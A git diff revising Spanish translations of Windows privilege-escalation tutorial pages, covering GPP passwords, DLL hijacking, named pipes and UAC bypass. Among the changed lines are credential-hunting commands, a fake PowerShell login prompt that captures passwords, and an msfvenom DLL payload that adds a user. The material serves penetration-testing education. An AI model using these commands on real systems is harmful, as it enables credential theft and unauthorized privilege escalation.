||||
Contenido de ejemplo:
|
||||
```xml
|
||||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||||
<AutoLogon>
|
||||
@ -974,15 +972,15 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
```
|
||||
### McAfee SiteList.xml
|
||||
|
||||
Busque un archivo llamado **SiteList.xml**
|
||||
Busca un archivo llamado **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
|
||||
Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
|
||||
|
||||
Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
|
||||
|
||||
Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
|
||||
Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
|
||||
|
||||
- Groups.xml
|
||||
- Services.xml
|
||||
@ -1000,7 +998,7 @@ Usando crackmapexec para obtener las contraseñas:
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||||
```
|
||||
### Configuración de IIS Web
|
||||
### IIS Web Config
|
||||
```powershell
|
||||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||||
```
|
||||
@ -1054,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Pedir credenciales
|
||||
|
||||
Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** directamente al cliente las **credenciales** es realmente **arriesgado**):
|
||||
Puedes siempre **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1178,7 +1176,7 @@ Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProc
|
||||
|
||||
Básicamente, si puedes **sobrescribir cualquiera de las DLLs** que se van a ejecutar, podrías **escalar privilegios** si esa DLL va a ser ejecutada por un usuario diferente.
|
||||
|
||||
Para aprender cómo los atacantes utilizan el secuestro COM como un mecanismo de persistencia, consulta:
|
||||
Para aprender cómo los atacantes utilizan el secuestro de COM como un mecanismo de persistencia, consulta:
|
||||
|
||||
{{#ref}}
|
||||
com-hijacking.md
|
||||
@ -1186,7 +1184,7 @@ com-hijacking.md
|
||||
|
||||
### **Búsqueda genérica de contraseñas en archivos y registro**
|
||||
|
||||
**Buscar en el contenido de los archivos**
|
||||
**Buscar en el contenido de archivos**
|
||||
```bash
|
||||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
@ -1221,9 +1219,9 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Manejadores Filtrados
|
||||
|
||||
Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
|
||||
Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` y **inyectar un shellcode**.\
|
||||
Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
|
||||
[Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\
|
||||
[Lee esta **otra publicación para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
[Lee este **otro post para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos y hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
## Suplantación de Cliente de Pipe Nombrado
|
||||
|
||||
@ -1231,7 +1229,7 @@ Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comun
|
||||
|
||||
Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de pipe nombrado** y **cliente de pipe nombrado**.
|
||||
|
||||
Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener mayores privilegios** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](./#from-high-integrity-to-system).
|
||||
Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system).
|
||||
|
||||
Además, la siguiente herramienta permite **interceptar una comunicación de pipe nombrado con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1253,7 +1251,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
|
||||
## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC
|
||||
|
||||
Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
|
||||
Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
|
||||
|
||||
Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft.
|
||||
|
||||
@ -1301,33 +1299,33 @@ Tienes todos los archivos e información necesarios en el siguiente repositorio
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## De Administrador a Nivel de Integridad Alto / Bypass de UAC
|
||||
## De nivel de integridad medio de Administrador a alto / Bypass de UAC
|
||||
|
||||
Lee esto para **aprender sobre Niveles de Integridad**:
|
||||
Lee esto para **aprender sobre los niveles de integridad**:
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Luego **lee esto para aprender sobre UAC y bypasses de UAC:**
|
||||
Luego **lee esto para aprender sobre UAC y los bypasses de UAC:**
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## **De Alta Integridad a Sistema**
|
||||
## **De alta integridad a sistema**
|
||||
|
||||
### **Nuevo servicio**
|
||||
|
||||
Si ya estás ejecutando un proceso de Alta Integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**:
|
||||
Si ya estás ejecutando un proceso de alta integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell inverso utilizando un _**.msi**_ wrapper.\
|
||||
[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](./#alwaysinstallelevated)
|
||||
Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell reverso utilizando un _**.msi**_ wrapper.\
|
||||
[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
@ -1336,13 +1334,13 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
|
||||
Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
|
||||
Usar esta técnica generalmente **selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
|
||||
**Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\
|
||||
Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](./#named-pipe-client-impersonation).\
|
||||
Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios SYSTEM.\
|
||||
Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\
|
||||
Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Access Tokens
|
||||
|
||||
Cada **usuario conectado** al sistema **tiene un token de acceso con información de seguridad** para esa sesión de inicio. El sistema crea un token de acceso cuando el usuario inicia sesión. **Cada proceso ejecutado** en nombre del usuario **tiene una copia del token de acceso**. El token identifica al usuario, los grupos del usuario y los privilegios del usuario. Un token también contiene un SID de inicio de sesión (Identificador de Seguridad) que identifica la sesión de inicio actual.
|
||||
Cada **usuario conectado** al sistema **tiene un token de acceso con información de seguridad** para esa sesión de inicio de sesión. El sistema crea un token de acceso cuando el usuario inicia sesión. **Cada proceso ejecutado** en nombre del usuario **tiene una copia del token de acceso**. El token identifica al usuario, los grupos del usuario y los privilegios del usuario. Un token también contiene un SID de inicio de sesión (Identificador de Seguridad) que identifica la sesión de inicio de sesión actual.
|
||||
|
||||
Puedes ver esta información ejecutando `whoami /all`
|
||||
```
|
||||
@ -57,7 +57,7 @@ o usando _Process Explorer_ de Sysinternals (seleccionar proceso y acceder a la
|
||||
### Administrador local
|
||||
|
||||
Cuando un administrador local inicia sesión, **se crean dos tokens de acceso**: uno con derechos de administrador y otro con derechos normales. **Por defecto**, cuando este usuario ejecuta un proceso, se utiliza el que tiene **derechos regulares** (no de administrador). Cuando este usuario intenta **ejecutar** algo **como administrador** ("Ejecutar como administrador", por ejemplo), se utilizará el **UAC** para pedir permiso.\
|
||||
Si quieres [**aprender más sobre el UAC, lee esta página**](../authentication-credentials-uac-and-efs/#uac)**.**
|
||||
Si quieres [**aprender más sobre el UAC, lee esta página**](../authentication-credentials-uac-and-efs/index.html#uac)**.**
|
||||
|
||||
### Suplantación de credenciales de usuario
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@ La creación del instalador MSI se realizará utilizando wixtools, específicame
|
||||
|
||||
Para una comprensión completa de los ejemplos de uso de wix MSI, se aconseja consultar [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Aquí, puedes encontrar varios ejemplos que demuestran el uso de wix MSI.
|
||||
|
||||
El objetivo es generar un MSI que ejecute el archivo lnk. Para lograr esto, se podría emplear el siguiente código XML ([xml de aquí](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
|
||||
El objetivo es generar un MSI que ejecute el archivo lnk. Para lograr esto, se podría emplear el siguiente código XML ([xml de aquí](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
|
||||
|
||||
## Información Básica
|
||||
## Basic Information
|
||||
|
||||
DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, lograr persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos.
|
||||
DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, logrando persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos.
|
||||
|
||||
### Técnicas Comunes
|
||||
### Common Techniques
|
||||
|
||||
Se emplean varios métodos para el DLL hijacking, cada uno con su efectividad dependiendo de la estrategia de carga de DLL de la aplicación:
|
||||
|
||||
1. **Reemplazo de DLL**: Intercambiar un DLL genuino por uno malicioso, utilizando opcionalmente DLL Proxying para preservar la funcionalidad del DLL original.
|
||||
2. **Secuestro del Orden de Búsqueda de DLL**: Colocar el DLL malicioso en una ruta de búsqueda antes del legítimo, explotando el patrón de búsqueda de la aplicación.
|
||||
3. **Secuestro de DLL Fantasma**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe.
|
||||
4. **Redirección de DLL**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso.
|
||||
5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
|
||||
6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Intercambiar un DLL genuino por uno malicioso, utilizando opcionalmente DLL Proxying para preservar la funcionalidad del DLL original.
|
||||
2. **DLL Search Order Hijacking**: Colocar el DLL malicioso en una ruta de búsqueda antes que el legítimo, explotando el patrón de búsqueda de la aplicación.
|
||||
3. **Phantom DLL Hijacking**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe.
|
||||
4. **DLL Redirection**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso.
|
||||
5. **WinSxS DLL Replacement**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Colocar el DLL malicioso en un directorio controlado por el usuario con la aplicación copiada, pareciendo técnicas de Binary Proxy Execution.
|
||||
|
||||
## Encontrando DLLs Faltantes
|
||||
## Finding missing Dlls
|
||||
|
||||
La forma más común de encontrar DLLs faltantes dentro de un sistema es ejecutando [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, **configurando** los **siguientes 2 filtros**:
|
||||
|
||||
@ -31,14 +31,14 @@ y solo mostrar la **Actividad del Sistema de Archivos**:
|
||||
|
||||
.png>)
|
||||
|
||||
Si estás buscando **dlls faltantes en general**, debes **dejar** esto funcionando por algunos **segundos**.\
|
||||
Si estás buscando un **dll faltante dentro de un ejecutable específico**, deberías establecer **otro filtro como "Process Name" "contains" "\<exec name>", ejecutarlo y detener la captura de eventos**.
|
||||
Si estás buscando **dlls faltantes en general** debes **dejar** esto funcionando por algunos **segundos**.\
|
||||
Si estás buscando un **dll faltante dentro de un ejecutable específico** deberías establecer **otro filtro como "Process Name" "contains" "\<exec name>", ejecutarlo y detener la captura de eventos**.
|
||||
|
||||
## Explotando DLLs Faltantes
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un dll que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un dll en una **carpeta** donde el **dll se busca antes** de la carpeta donde se encuentra el **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el dll** y el **dll original no existe** en ninguna carpeta.
|
||||
|
||||
### Orden de Búsqueda de DLL
|
||||
### Dll Search Order
|
||||
|
||||
**Dentro de la** [**documentación de Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puedes encontrar cómo se cargan específicamente los DLLs.**
|
||||
|
||||
@ -54,28 +54,28 @@ Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuaci
|
||||
5. El directorio actual.
|
||||
6. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL.
|
||||
|
||||
Ese es el **orden de búsqueda** predeterminado con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
|
||||
Ese es el **orden de búsqueda predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
|
||||
|
||||
Si se llama a la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
|
||||
|
||||
Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se va a buscar en esa ruta** (si el dll tiene alguna dependencia, se buscarán como si se cargaran solo por nombre).
|
||||
Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se va a buscar en esa ruta** (si el dll tiene dependencias, se buscarán como si se cargaran solo por nombre).
|
||||
|
||||
Hay otras formas de alterar el orden de búsqueda, pero no voy a explicarlas aquí.
|
||||
|
||||
#### Excepciones en el orden de búsqueda de dll según la documentación de Windows
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la documentación de Windows:
|
||||
Ciertas excepciones al orden de búsqueda estándar de DLL se anotan en la documentación de Windows:
|
||||
|
||||
- Cuando se encuentra un **DLL que comparte su nombre con uno ya cargado en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una verificación de redirección y un manifiesto antes de recurrir al DLL ya en memoria. **En este escenario, el sistema no realiza una búsqueda del DLL**.
|
||||
- En casos donde el DLL es reconocido como un **DLL conocido** para la versión actual de Windows, el sistema utilizará su versión del DLL conocido, junto con cualquiera de sus DLLs dependientes, **omitindo el proceso de búsqueda**. La clave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estos DLLs conocidos.
|
||||
- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se realiza como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial fue identificado a través de una ruta completa.
|
||||
- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se lleva a cabo como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial se identificó a través de una ruta completa.
|
||||
|
||||
### Escalando Privilegios
|
||||
### Escalating Privileges
|
||||
|
||||
**Requisitos**:
|
||||
|
||||
- Identificar un proceso que opere o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carezca de un DLL**.
|
||||
- Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **buscará el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.
|
||||
- Identificar un proceso que opera o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carece de un DLL**.
|
||||
- Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **busque el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.
|
||||
|
||||
Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que carezca de un dll** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados esto es posible.\
|
||||
En el caso de que tengas suerte y te encuentres cumpliendo con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un Dll hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
|
||||
@ -107,7 +107,7 @@ Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad
|
||||
|
||||
### Ejemplo
|
||||
|
||||
En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../authentication-credentials-uac-and-efs.md#uac) o de [**alta integridad a SYSTEM**](./#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de un nivel de integridad medio a alto **(eludiendo UAC)**](../authentication-credentials-uac-and-efs.md#uac) o de [**alto nivel de integridad a SYSTEM**](#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que podrían ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**.
|
||||
|
||||
## **Creando y compilando Dlls**
|
||||
@ -134,7 +134,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Tu propio
|
||||
|
||||
Ten en cuenta que en varios casos el Dll que compiles debe **exportar varias funciones** que van a ser cargadas por el proceso víctima; si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**.
|
||||
Ten en cuenta que en varios casos el Dll que compilas debe **exportar varias funciones** que van a ser cargadas por el proceso víctima; si estas funciones no existen, el **binario no podrá cargarlas** y el **exploit fallará**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Información Básica
|
||||
|
||||
El DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, lograr persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos.
|
||||
@ -14,7 +15,7 @@ Se emplean varios métodos para el DLL hijacking, cada uno con su efectividad de
|
||||
2. **Secuestro del Orden de Búsqueda de DLL**: Colocar el DLL malicioso en una ruta de búsqueda antes del legítimo, explotando el patrón de búsqueda de la aplicación.
|
||||
3. **Secuestro de DLL Fantasma**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe.
|
||||
4. **Redirección de DLL**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso.
|
||||
5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por uno malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
|
||||
5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
|
||||
6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Ejecución de Proxy Binario.
|
||||
|
||||
## Encontrando DLLs Faltantes
|
||||
@ -29,12 +30,12 @@ y solo mostrar la **Actividad del Sistema de Archivos**:
|
||||
|
||||
.png>)
|
||||
|
||||
Si estás buscando **DLLs faltantes en general**, debes **dejar** esto funcionando por algunos **segundos**.\
|
||||
Si estás buscando una **DLL faltante dentro de un ejecutable específico**, deberías establecer **otro filtro como "Process Name" "contains" "\<exec name>", ejecutarlo y detener la captura de eventos**.
|
||||
Si estás buscando **DLLs faltantes en general**, debes **dejar** esto corriendo por algunos **segundos**.\
|
||||
Si estás buscando un **DLL faltante dentro de un ejecutable específico**, deberías establecer **otro filtro como "Process Name" "contains" "\<exec name>", ejecutarlo y detener la captura de eventos**.
|
||||
|
||||
## Explotando DLLs Faltantes
|
||||
|
||||
Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un DLL que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un DLL en una **carpeta** donde el **DLL se busca antes** de la carpeta donde se encuentra el **DLL original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el DLL** y el **DLL original no existe** en ninguna carpeta.
|
||||
Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un DLL que un proceso privilegiado intentará cargar** en algún **lugar donde se va a buscar**. Por lo tanto, podremos **escribir** un DLL en una **carpeta** donde el **DLL se busca antes** de la carpeta donde está el **DLL original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el DLL** y el **DLL original no existe** en ninguna carpeta.
|
